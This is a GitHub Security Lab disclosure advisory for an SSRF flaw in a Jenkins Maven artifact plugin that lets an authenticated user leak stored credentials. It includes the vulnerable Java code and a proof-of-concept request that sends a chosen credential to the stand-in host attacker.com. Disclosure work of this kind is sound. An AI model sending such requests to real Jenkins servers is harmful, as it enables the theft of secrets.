Coordinated Disclosure Timeline
- 2023-05-03: Reported to the Jenkins Security Team
- 2023-08-16: Publishing according to GitHub Security Lab disclosure policy
Summary
Several Server-Side Request Forgery (SSRF) vulnerabilities in jenkinsci/maven-artifact-choicelistprovider-plugin
allow the leak of sensitive credentials to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the url
parameter in the ArtifactoryChoiceListProvider#doTest
. These methods use the ACL.System
permission to access the credentials storage and can be abused to leak arbitrary secrets to attacker-controlled servers.
Product
maven-artifact-choicelistprovider-plugin
Tested Version
Details
Credentials leak via SSRF (GHSL-2023-093
)
The ArtifactoryChoiceListProvider#doTest
method reads a credential identified by the credentialsId
query parameter and send it to the attacker-controlled server specified by the url
query parameter:
@RequirePOST
public FormValidation doTest(@AncestorInPath Item pItem, @QueryParameter String url, @QueryParameter String credentialsId, @QueryParameter String groupId,
@QueryParameter String artifactId, @QueryParameter String packaging, @QueryParameter String classifier,
@QueryParameter boolean inverseFilter, @QueryParameter String filterExpression, @QueryParameter boolean reverseOrder) {
// SECURITY-1022
pItem.checkPermission(Job.CONFIGURE);
final IVersionReader service = new ArtifactorySearchService(url);
// If configured, set User Credentials
final UsernamePasswordCredentialsImpl c = getCredentials(credentialsId);
if (c != null) {
service.setCredentials(c.getUsername(), c.getPassword().getPlainText());
}
return super.performTest(service, "", groupId, artifactId, packaging, classifier, inverseFilter, filterExpression, reverseOrder);
}
In order to exploit the vulnerability, the attacker needs to send a request to Jenkins specifying the secret to be read and the server to send it to. For example, to leak the FLAG
credential to attacker.com
the authenticated attacker would need to send the following request:
POST /jenkins/job/test/descriptorByName/org.jenkinsci.plugins.maven_artifact_choicelistprovider.artifactory.ArtifactoryChoiceListProvider/test?credentialsId=FLAG&url=http://attacker.com HTTP/1.1
Host: localhost:8080
Jenkins-Crumb: 097e9d8a7af2d82d8ac791db14b793f93d2f609e07b3680b8398d722557ac4c0
Cookie: JSESSIONID.a85b0764=node0vwp5lvl32gbmwuc2nh9i217u2.node0; jenkins-timestamper-offset=-7200000; screenResolution=3840x1600
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Attacker need to be authenticated in order to be able to send this request, but it will be able to read arbitrary secrets it has no access to otherwise.
The code responsible to read the arbitrary credentials is:
public static UsernamePasswordCredentialsImpl getCredentials(final String pCredentialId) {
return CredentialsMatchers.firstOrNull(
CredentialsProvider.lookupCredentials(UsernamePasswordCredentialsImpl.class, Jenkins.getInstance(), ACL.SYSTEM, Collections.<DomainRequirement> emptyList()),
CredentialsMatchers.allOf(CredentialsMatchers.withId(pCredentialId)));
}
As we can see in the code, regardless of the user privileges, the ACL.SYSTEM
permission is used to load credentials.
Once the credentials are retrieved, they are sent back to the attacker-controlled server which will receive the following GET
request:
GET /api/search/gavc?c=&s=version HTTP/1.1
Accept: application/json
Authorization: Basic YWRtaW46U1VQRVJTRUNSRVQ=
User-Agent: Jersey/2.35 (HttpUrlConnection 11.0.16.1)
Host: attacker.com
Connection: keep-alive
The credentials are leaked Base64-encoded in the Authorization
header.
This vulnerability was found using CodeQL’s SSRF Java query.
Impact
This vulnerability can lead to sensitive secret credentials leak.
CVE
- CVE-2023-40347
Resources
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-093
in any communication regarding this issue.